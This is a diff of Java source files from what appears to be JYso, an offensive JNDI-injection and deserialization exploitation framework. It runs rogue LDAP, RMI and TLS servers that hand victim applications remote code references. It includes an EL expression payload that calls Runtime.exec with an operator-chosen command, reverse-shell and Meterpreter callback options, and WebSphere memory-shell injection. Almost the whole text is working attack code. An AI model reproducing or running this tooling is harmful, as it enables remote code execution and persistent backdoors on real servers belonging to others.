||||
case "reverseshell":
|
||||
ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1], "xExportObject");
|
||||
bytes = reverseShellTemplate.getBytes();
|
||||
break;
|
||||
case "webspherememshell":
|
||||
ClassPool classPool = ClassPool.getDefault();
|
||||
CtClass exploitClass = classPool.get("com.feihong.ldap.template.WebsphereMemshellTemplate");
|
||||
exploitClass.setName(className);
|
||||
exploitClass.detach();
|
||||
bytes = exploitClass.toBytecode();
|
||||
break;
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
|
||||
System.out.println(ansi().render("@|green [+] Name of Class in Jar: |@" + className));
|
||||
ByteArrayOutputStream bout = new ByteArrayOutputStream();
|
||||
JarOutputStream jarOut = new JarOutputStream(bout);
|
||||
jarOut.putNextEntry(new ZipEntry(className + ".class"));
|
||||
jarOut.write(bytes);
|
||||
jarOut.closeEntry();
|
||||
jarOut.close();
|
||||
bout.close();
|
||||
|
||||
String jarName = Util.getRandomString();
|
||||
Cache.set(jarName, bout.toByteArray());
|
||||
|
||||
return jarName;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,121 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.controllers.LdapController;
|
||||
import com.qi4l.JYso.controllers.LdapMapping;
|
||||
import com.qi4l.JYso.controllers.utils.AESUtils;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
|
||||
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
|
||||
import com.unboundid.ldap.listener.InMemoryListenerConfig;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||
import org.reflections.Reflections;
|
||||
|
||||
import javax.net.ServerSocketFactory;
|
||||
import javax.net.SocketFactory;
|
||||
import javax.net.ssl.SSLSocketFactory;
|
||||
import java.lang.reflect.Constructor;
|
||||
import java.net.InetAddress;
|
||||
import java.util.Set;
|
||||
import java.util.TreeMap;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||
import static com.qi4l.JYso.gadgets.utils.Utils.base64Decode;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
|
||||
public class LdapServer extends InMemoryOperationInterceptor {
|
||||
|
||||
public static TreeMap<String, LdapController> routes = new TreeMap<>();
|
||||
|
||||
public LdapServer() throws Exception {
|
||||
|
||||
//find all classes annotated with @LdapMapping
|
||||
Set<Class<?>> controllers = new Reflections(this.getClass().getPackage().getName())
|
||||
.getTypesAnnotatedWith(LdapMapping.class);
|
||||
|
||||
//instantiate them and store in the routes map
|
||||
for (Class<?> controller : controllers) {
|
||||
Constructor<?> cons = controller.getConstructor();
|
||||
LdapController instance = (LdapController) cons.newInstance();
|
||||
String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
|
||||
for (String mapping : mappings) {
|
||||
if (mapping.startsWith("/")) {
|
||||
mapping = mapping.substring(1); //remove first forward slash
|
||||
routes.put(mapping, instance);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
try {
|
||||
InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
|
||||
|
||||
serverConfig.setListenerConfigs(new InMemoryListenerConfig(
|
||||
"listen",
|
||||
InetAddress.getByName("0.0.0.0"),
|
||||
Config.ldapPort,
|
||||
ServerSocketFactory.getDefault(),
|
||||
SocketFactory.getDefault(),
|
||||
(SSLSocketFactory) SSLSocketFactory.getDefault()));
|
||||
if (!USER.equals("") || !PASSWD.equals("")) {
|
||||
serverConfig.addAdditionalBindCredentials(USER, PASSWD);
|
||||
}
|
||||
|
||||
//添加操作拦截器
|
||||
//将提供的操作拦截器添加到操作拦截器列表中,该列表可用于在请求被内存目录服务器处理之前转换请求,和/或在响应返回给客户端之前转换响应。
|
||||
serverConfig.addInMemoryOperationInterceptor(new LdapServer());
|
||||
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
|
||||
ds.startListening();
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >>" + Config.ldapPort + "..."));
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void processSearchResult(InMemoryInterceptedSearchResult result) {
|
||||
String base;
|
||||
if (!ROUTE.equals("")) {
|
||||
base = ROUTE;
|
||||
} else {
|
||||
base = result.getRequest().getBaseDN();
|
||||
}
|
||||
try {
|
||||
if (!AESkey.equals("123")) {
|
||||
base = base64Decode(base);
|
||||
base = AESUtils.decrypt(base, AESkey);
|
||||
}
|
||||
} catch (Exception AESerr) {
|
||||
|
||||
}
|
||||
|
||||
//收到ldap请求
|
||||
//System.out.println(ansi().render("@|green [+] Received LDAP Query : |@" + base));
|
||||
LdapController controller = null;
|
||||
//find controller
|
||||
//根据请求的路径从route中匹配相应的controller
|
||||
for (String key : routes.keySet()) {
|
||||
//compare using wildcard at the end
|
||||
if (base.toLowerCase().startsWith(key)) {
|
||||
controller = routes.get(key);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (controller == null) {
|
||||
System.out.println(ansi().render("@|red [!] Invalid LDAP Query >> |@" + base));
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
//从控制器中进行返回
|
||||
controller.process(base);
|
||||
controller.sendResult(result, base);
|
||||
} catch (Exception e1) {
|
||||
System.out.println(ansi().render("@|red [!] Exception >> |@" + e1.getMessage()));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,323 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
|
||||
import com.qi4l.JYso.controllers.rmi.Basic;
|
||||
import com.qi4l.JYso.controllers.rmi.ELProcessor;
|
||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||
import com.sun.jndi.rmi.registry.ReferenceWrapper;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
import sun.rmi.server.UnicastServerRef;
|
||||
import sun.rmi.transport.TransportConstants;
|
||||
|
||||
import javax.naming.Reference;
|
||||
import javax.naming.StringRefAddr;
|
||||
import javax.net.ServerSocketFactory;
|
||||
import java.io.*;
|
||||
import java.lang.reflect.Field;
|
||||
import java.net.*;
|
||||
import java.rmi.MarshalException;
|
||||
import java.rmi.server.ObjID;
|
||||
import java.rmi.server.RemoteObject;
|
||||
import java.rmi.server.UID;
|
||||
import java.util.Arrays;
|
||||
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.*;
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
|
||||
/**
|
||||
* Generic JRMP listener
|
||||
* <p>
|
||||
* JRMP Listener that will respond to RMI lookups with a Reference that specifies a remote object factory.
|
||||
* <p>
|
||||
* This technique was mitigated against by no longer allowing remote codebases in references by default in Java 8u121.
|
||||
*
|
||||
* @author mbechler
|
||||
*/
|
||||
@SuppressWarnings({
|
||||
"restriction"
|
||||
})
|
||||
public class RMIServer extends InMemoryOperationInterceptor implements Runnable {
|
||||
|
||||
private final ServerSocket ss;
|
||||
private final Object waitLock = new Object();
|
||||
private final URL classpathUrl;
|
||||
private boolean exit;
|
||||
|
||||
|
||||
public RMIServer(int port, URL classpathUrl) throws IOException {
|
||||
this.classpathUrl = classpathUrl;
|
||||
this.ss = ServerSocketFactory.getDefault().createServerSocket(port);
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
String url = "http://" + ip + ":" + rmiPort;
|
||||
|
||||
try {
|
||||
System.out.println(ansi().render("@|green [+]|@ RMI Server Start Listening on >>" + rmiPort + "..."));
|
||||
RMIServer c = new RMIServer(rmiPort, new URL(url));
|
||||
c.run();
|
||||
} catch (Exception e) {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
public static ResourceRef execByEL() {
|
||||
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||
ref.add(new StringRefAddr("x", String.format(
|
||||
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(" +
|
||||
"\"java.lang.Runtime.getRuntime().exec('%s')\"" +
|
||||
")",
|
||||
command
|
||||
)));
|
||||
|
||||
return ref;
|
||||
}
|
||||
|
||||
private static void handleDGC(ObjectInputStream ois) throws IOException, ClassNotFoundException {
|
||||
ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject()));
|
||||
}
|
||||
|
||||
public void close() {
|
||||
this.exit = true;
|
||||
try {
|
||||
this.ss.close();
|
||||
} catch (IOException ignored) {
|
||||
}
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notify();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run() {
|
||||
try {
|
||||
Socket s = null;
|
||||
try {
|
||||
while (!this.exit && (s = this.ss.accept()) != null) {
|
||||
try {
|
||||
s.setSoTimeout(5000);
|
||||
InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress();
|
||||
//System.err.println("[+] Have connection from " + remote);
|
||||
|
||||
InputStream is = s.getInputStream();
|
||||
InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is);
|
||||
|
||||
// Read magic (or HTTP wrapper)
|
||||
bufIn.mark(4);
|
||||
try (DataInputStream in = new DataInputStream(bufIn)) {
|
||||
int magic = in.readInt();
|
||||
|
||||
short version = in.readShort();
|
||||
if (magic != TransportConstants.Magic || version != TransportConstants.Version) {
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
OutputStream sockOut = s.getOutputStream();
|
||||
BufferedOutputStream bufOut = new BufferedOutputStream(sockOut);
|
||||
try (DataOutputStream out = new DataOutputStream(bufOut)) {
|
||||
|
||||
byte protocol = in.readByte();
|
||||
switch (protocol) {
|
||||
case TransportConstants.StreamProtocol:
|
||||
out.writeByte(TransportConstants.ProtocolAck);
|
||||
if (remote.getHostName() != null) {
|
||||
out.writeUTF(remote.getHostName());
|
||||
} else {
|
||||
out.writeUTF(remote.getAddress().toString());
|
||||
}
|
||||
out.writeInt(remote.getPort());
|
||||
out.flush();
|
||||
in.readUTF();
|
||||
in.readInt();
|
||||
case TransportConstants.SingleOpProtocol:
|
||||
doMessage(s, in, out);
|
||||
break;
|
||||
default:
|
||||
case TransportConstants.MultiplexProtocol:
|
||||
System.err.println("Unsupported protocol");
|
||||
s.close();
|
||||
continue;
|
||||
}
|
||||
|
||||
bufOut.flush();
|
||||
out.flush();
|
||||
}
|
||||
}
|
||||
} catch (InterruptedException e) {
|
||||
return;
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
} finally {
|
||||
System.out.println(Ansi.ansi().fgRgb(255, 165, 0).a(" Closing connection").reset());
|
||||
s.close();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
} finally {
|
||||
if (s != null) {
|
||||
s.close();
|
||||
}
|
||||
if (this.ss != null) {
|
||||
this.ss.close();
|
||||
}
|
||||
}
|
||||
|
||||
} catch (SocketException ignored) {
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
}
|
||||
|
||||
private void doMessage(Socket s, DataInputStream in, DataOutputStream out) throws Exception {
|
||||
//System.err.println("[+] RMI服务器 >> 正在读取信息");
|
||||
|
||||
int op = in.read();
|
||||
|
||||
switch (op) {
|
||||
case TransportConstants.Call:
|
||||
// service incoming RMI call
|
||||
doCall(in, out);
|
||||
break;
|
||||
|
||||
case TransportConstants.Ping:
|
||||
// send ack for ping
|
||||
out.writeByte(TransportConstants.PingAck);
|
||||
break;
|
||||
|
||||
case TransportConstants.DGCAck:
|
||||
UID.read(in);
|
||||
break;
|
||||
|
||||
default:
|
||||
throw new IOException(" RMI 服务器 >> 无法识别:" + op);
|
||||
}
|
||||
|
||||
s.close();
|
||||
}
|
||||
|
||||
private void doCall(DataInputStream in, DataOutputStream out) throws Exception {
|
||||
ObjectInputStream ois = new ObjectInputStream(in) {
|
||||
|
||||
@Override
|
||||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
|
||||
if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) {
|
||||
return ObjID[].class;
|
||||
} else if ("java.rmi.server.ObjID".equals(desc.getName())) {
|
||||
return ObjID.class;
|
||||
} else if ("java.rmi.server.UID".equals(desc.getName())) {
|
||||
return UID.class;
|
||||
} else if ("java.lang.String".equals(desc.getName())) {
|
||||
return String.class;
|
||||
}
|
||||
throw new IOException(" RMI 服务器 >> 无法读取 Object");
|
||||
}
|
||||
};
|
||||
|
||||
ObjID read;
|
||||
try {
|
||||
read = ObjID.read(ois);
|
||||
} catch (IOException e) {
|
||||
throw new MarshalException(" RMI 服务器 >> 无法读取 ObjID", e);
|
||||
}
|
||||
|
||||
if (read.hashCode() == 2) {
|
||||
// DGC
|
||||
handleDGC(ois);
|
||||
} else if (read.hashCode() == 0) {
|
||||
if (handleRMI(ois, out)) {
|
||||
synchronized (this.waitLock) {
|
||||
this.waitLock.notifyAll();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
private boolean handleRMI(ObjectInputStream ois, DataOutputStream out) throws Exception {
|
||||
int method = ois.readInt(); // method
|
||||
ois.readLong(); // hash
|
||||
|
||||
if (method != 2) { // lookup
|
||||
return false;
|
||||
}
|
||||
|
||||
String object = (String) ois.readObject();
|
||||
//System.out.println(ansi().render("@|green [+]|@ RMI服务器 >> RMI 查询" + object + " " + method));
|
||||
out.writeByte(TransportConstants.Return); // transport op
|
||||
try (ObjectOutputStream oos = new MarshalOutputStream(out, this.classpathUrl)) {
|
||||
|
||||
oos.writeByte(TransportConstants.NormalReturn);
|
||||
new UID().write(oos);
|
||||
|
||||
//反射调用的类名
|
||||
ReferenceWrapper rw = null;
|
||||
|
||||
if (object.startsWith("ELProcessor")) {
|
||||
ResourceRef result = ELProcessor.refTomcatBypass(object);
|
||||
rw = new ReferenceWrapper(result);
|
||||
} else if (object.startsWith("basic")) {
|
||||
rw = Reflections.createWithoutConstructor(ReferenceWrapper.class);
|
||||
Reference result = Basic.basic(object);
|
||||
Reflections.setFieldValue(rw, "wrappee", result);
|
||||
}
|
||||
|
||||
Field refF = RemoteObject.class.getDeclaredField("ref");
|
||||
refF.setAccessible(true);
|
||||
refF.set(rw, new UnicastServerRef(12345));
|
||||
|
||||
oos.writeObject(rw);
|
||||
|
||||
oos.flush();
|
||||
out.flush();
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static final class MarshalOutputStream extends ObjectOutputStream {
|
||||
|
||||
private final URL sendUrl;
|
||||
|
||||
|
||||
public MarshalOutputStream(OutputStream out, URL u) throws IOException {
|
||||
super(out);
|
||||
this.sendUrl = u;
|
||||
}
|
||||
|
||||
|
||||
@Override
|
||||
protected void annotateClass(Class<?> cl) throws IOException {
|
||||
if (this.sendUrl != null) {
|
||||
writeObject(this.sendUrl.toString());
|
||||
} else if (!(cl.getClassLoader() instanceof URLClassLoader)) {
|
||||
writeObject(null);
|
||||
} else {
|
||||
URL[] us = ((URLClassLoader) cl.getClassLoader()).getURLs();
|
||||
StringBuilder cb = new StringBuilder();
|
||||
|
||||
for (URL u : us) {
|
||||
cb.append(u.toString());
|
||||
}
|
||||
writeObject(cb.toString());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* Serializes a location from which to load the specified class.
|
||||
*/
|
||||
@Override
|
||||
protected void annotateProxyClass(Class<?> cl) throws IOException {
|
||||
annotateClass(cl);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.ObjectPayload;
|
||||
import org.apache.commons.collections4.map.CaseInsensitiveMap;
|
||||
|
||||
import static com.qi4l.JYso.controllers.ysoserial.ysoserial;
|
||||
import static com.qi4l.JYso.gadgets.Config.Config.logo;
|
||||
|
||||
public class Starter {
|
||||
|
||||
// 用于存储所有的ObjectPayload类
|
||||
public static CaseInsensitiveMap<String,Class<? extends ObjectPayload>> caseInsensitiveObjectPayloadMap = new CaseInsensitiveMap();
|
||||
static {
|
||||
for (Class<? extends ObjectPayload> clazz : ObjectPayload.Utils.getPayloadClasses()) {
|
||||
caseInsensitiveObjectPayloadMap.put(clazz.getName(), clazz);
|
||||
}
|
||||
}
|
||||
|
||||
public static boolean JYsoMode = false;
|
||||
|
||||
public static void main(String[] args) throws Exception {
|
||||
logo();
|
||||
|
||||
// 如果参数中包含-j,则启动LDAP、HTTP、RMI服务
|
||||
if (args.length > 0 && args[0].equals("-j")) {
|
||||
Config.applyCmdArgs(args);
|
||||
if (Config.TLSProxy) {
|
||||
TLSProxy.start();
|
||||
}
|
||||
LdapServer.start();
|
||||
HTTPServer.start();
|
||||
RMIServer.start();
|
||||
}
|
||||
|
||||
// 如果参数中包含-y,则启动ysoserial
|
||||
if (args.length > 0 && args[0].equals("-y")) {
|
||||
JYsoMode = true;
|
||||
ysoserial(args);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
package com.qi4l.JYso;
|
||||
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
|
||||
import javax.net.ssl.*;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
import java.io.OutputStream;
|
||||
import java.net.InetSocketAddress;
|
||||
import java.net.Socket;
|
||||
import java.security.KeyStore;
|
||||
import java.util.concurrent.ExecutorService;
|
||||
import java.util.concurrent.Executors;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
public class TLSProxy {
|
||||
private final String localAddr;
|
||||
private final String remoteAddr;
|
||||
private final String certFile;
|
||||
private final String keyFile;
|
||||
|
||||
public TLSProxy(String localAddr, String remoteAddr, String certFile, String keyFile) {
|
||||
this.localAddr = localAddr;
|
||||
this.remoteAddr = remoteAddr;
|
||||
this.certFile = certFile;
|
||||
this.keyFile = keyFile;
|
||||
}
|
||||
|
||||
public static void start() {
|
||||
System.out.println(ansi().render("@|green [+]|@ LDAPS Server Start Listening on >>" + Config.TLSProxy + "..."));
|
||||
new TLSProxy(Config.ip + ":" + Config.TLSProxy, Config.ip + ":" + Config.ldapPort, Config.certFile, Config.keyFile).run();
|
||||
}
|
||||
|
||||
public void run() {
|
||||
SSLServerSocketFactory sslServerSocketFactory = createSSLServerSocketFactory();
|
||||
if (sslServerSocketFactory == null) {
|
||||
System.err.println("Failed to create SSLServerSocketFactory");
|
||||
return;
|
||||
}
|
||||
|
||||
try (SSLServerSocket serverSocket = (SSLServerSocket) sslServerSocketFactory.createServerSocket()) {
|
||||
String[] addressParts = localAddr.split(":");
|
||||
serverSocket.bind(new InetSocketAddress(addressParts[0], Integer.parseInt(addressParts[1])));
|
||||
System.out.println("TLS Proxy started on " + localAddr);
|
||||
|
||||
ExecutorService executorService = Executors.newCachedThreadPool();
|
||||
|
||||
while (true) {
|
||||
SSLSocket clientSocket = (SSLSocket) serverSocket.accept();
|
||||
System.out.println("New connection from " + clientSocket.getRemoteSocketAddress());
|
||||
executorService.submit(() -> handleConnection(clientSocket));
|
||||
}
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private SSLServerSocketFactory createSSLServerSocketFactory() {
|
||||
try {
|
||||
SSLContext sslContext = SSLContext.getInstance("TLS");
|
||||
KeyManagerFactory keyManagerFactory = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
|
||||
KeyStore keyStore = KeyStore.getInstance("JKS");
|
||||
|
||||
try (InputStream keyInput = new FileInputStream(certFile)) {
|
||||
keyStore.load(keyInput, "".toCharArray());
|
||||
}
|
||||
|
||||
keyManagerFactory.init(keyStore, "".toCharArray());
|
||||
|
||||
sslContext.init(keyManagerFactory.getKeyManagers(), null, null);
|
||||
return sslContext.getServerSocketFactory();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
private void handleConnection(SSLSocket clientSocket) {
|
||||
try (Socket remoteSocket = new Socket(remoteAddr, getPort(remoteAddr))) {
|
||||
System.out.println("Connected to " + remoteAddr);
|
||||
ExecutorService executorService = Executors.newCachedThreadPool();
|
||||
|
||||
executorService.submit(() -> {
|
||||
try {
|
||||
forwardData(clientSocket.getInputStream(), remoteSocket.getOutputStream());
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
});
|
||||
executorService.submit(() -> {
|
||||
try {
|
||||
forwardData(remoteSocket.getInputStream(), clientSocket.getOutputStream());
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
});
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private void forwardData(InputStream input, OutputStream output) {
|
||||
try {
|
||||
byte[] buffer = new byte[8192];
|
||||
int bytesRead;
|
||||
while ((bytesRead = input.read(buffer)) != -1) {
|
||||
output.write(buffer, 0, bytesRead);
|
||||
output.flush();
|
||||
}
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
private int getPort(String address) {
|
||||
return Integer.parseInt(address.substring(address.lastIndexOf(':') + 1));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.qi4l.JYso.template.CommandTemplate;
|
||||
import com.qi4l.JYso.template.echoStatic.Meterpreter;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import java.net.URL;
|
||||
import java.util.Base64;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
@LdapMapping(uri = {"/basic"})
|
||||
public class BasicController implements LdapController {
|
||||
|
||||
private static String payloadType;
|
||||
//最后的反斜杠不能少
|
||||
private final String codebase = Config.codeBase;
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
try {
|
||||
Entry e = new Entry(base);
|
||||
String className = "";
|
||||
|
||||
if (payloadType.contains("E-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||
className = EchoClass.getName();
|
||||
}
|
||||
|
||||
if (payloadType.contains("M-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
InjShell.init(params);
|
||||
className = Gadgets.createClassB(ClassName1);
|
||||
}
|
||||
|
||||
if (payloadType.contains("command")) {
|
||||
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
|
||||
commandTemplate.cache();
|
||||
className = commandTemplate.getClassName();
|
||||
}
|
||||
|
||||
if (payloadType.contains("msf")) {
|
||||
className = Meterpreter.class.getName();
|
||||
}
|
||||
|
||||
String className1 = className.replaceAll("\\.", "/");
|
||||
|
||||
URL turl = new URL(new URL(this.codebase), className1 + ".class");
|
||||
System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + turl).reset());
|
||||
e.addAttribute("javaClassName", "foo");
|
||||
e.addAttribute("javaCodeBase", this.codebase);
|
||||
e.addAttribute("objectClass", "javaNamingReference");
|
||||
e.addAttribute("javaFactory", className);
|
||||
result.sendSearchEntry(e);
|
||||
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
|
||||
} catch (Throwable er) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
er.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
|
||||
System.out.println("- JNDI Remote Refenrence Links ");
|
||||
try {
|
||||
base = base.replace('\\', '/');
|
||||
int fistIndex = base.indexOf("/");
|
||||
int secondIndex = base.indexOf("/", fistIndex + 1);
|
||||
if (secondIndex < 0) secondIndex = base.length();
|
||||
|
||||
try {
|
||||
payloadType = base.substring(fistIndex + 1, secondIndex);
|
||||
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
|
||||
}
|
||||
|
||||
int thirdIndex = base.indexOf("/", secondIndex + 1);
|
||||
if (thirdIndex != -1) {
|
||||
if (thirdIndex < 0) thirdIndex = base.length();
|
||||
try {
|
||||
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
|
||||
} catch (IllegalArgumentException e) {
|
||||
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
|
||||
}
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.base64) {
|
||||
String cmd = Util.getCmdFromBase(base);
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = new String[]{cmd};
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.shell) {
|
||||
String cmd1 = Util.getCmdFromBase(base);
|
||||
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
|
||||
String cmd = new String(decodedBytes);
|
||||
String[] cmdArray = cmd.split(" ");
|
||||
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
|
||||
params = cmdArray;
|
||||
}
|
||||
|
||||
if (gadgetType == GadgetType.msf) {
|
||||
String[] results1 = Util.getIPAndPortFromBase(base);
|
||||
Config.rhost = results1[0];
|
||||
Config.rport = results1[1];
|
||||
System.out.println("[+] RemotHost: " + results1[0]);
|
||||
System.out.println("[+] RemotPort: " + results1[1]);
|
||||
params = results1;
|
||||
}
|
||||
} catch (Exception e) {
|
||||
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
|
||||
|
||||
throw new IncorrectParamsException("Incorrect params >> " + base);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,166 @@
|
||||
package com.qi4l.JYso.controllers;
|
||||
|
||||
import com.qi4l.JYso.enumtypes.GadgetType;
|
||||
import com.qi4l.JYso.exceptions.IncorrectParamsException;
|
||||
import com.qi4l.JYso.exceptions.UnSupportedPayloadTypeException;
|
||||
import com.qi4l.JYso.gadgets.Config.Config;
|
||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||
import com.qi4l.JYso.gadgets.utils.InjShell;
|
||||
import com.qi4l.JYso.gadgets.utils.Util;
|
||||
import com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler;
|
||||
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
|
||||
import com.unboundid.ldap.sdk.Entry;
|
||||
import com.unboundid.ldap.sdk.LDAPResult;
|
||||
import com.unboundid.ldap.sdk.ResultCode;
|
||||
import org.apache.naming.ResourceRef;
|
||||
import org.fusesource.jansi.Ansi;
|
||||
|
||||
import javax.naming.StringRefAddr;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
import static org.fusesource.jansi.Ansi.ansi;
|
||||
|
||||
|
||||
@LdapMapping(uri = {"/ELProcessor"})
|
||||
public class ELProcessorController implements LdapController {
|
||||
private String payloadType;
|
||||
private String[] params;
|
||||
private GadgetType gadgetType;
|
||||
|
||||
@Override
|
||||
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
|
||||
String jscode = null;
|
||||
|
||||
try {
|
||||
Entry e = new Entry(base);
|
||||
e.addAttribute("javaClassName", "java.lang.String");
|
||||
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
|
||||
ref.add(new StringRefAddr("forceString", "x=eval"));
|
||||
TomcatBypassHelper helper = new TomcatBypassHelper();
|
||||
|
||||
if (payloadType.contains("E-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
|
||||
jscode = InjShell.injectClass(EchoClass);
|
||||
}
|
||||
|
||||
if (payloadType.contains("M-")) {
|
||||
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
|
||||
InjShell.init(params);
|
||||
jscode = Gadgets.createClassT(ClassName1);
|
||||
}
|
||||
|
||||
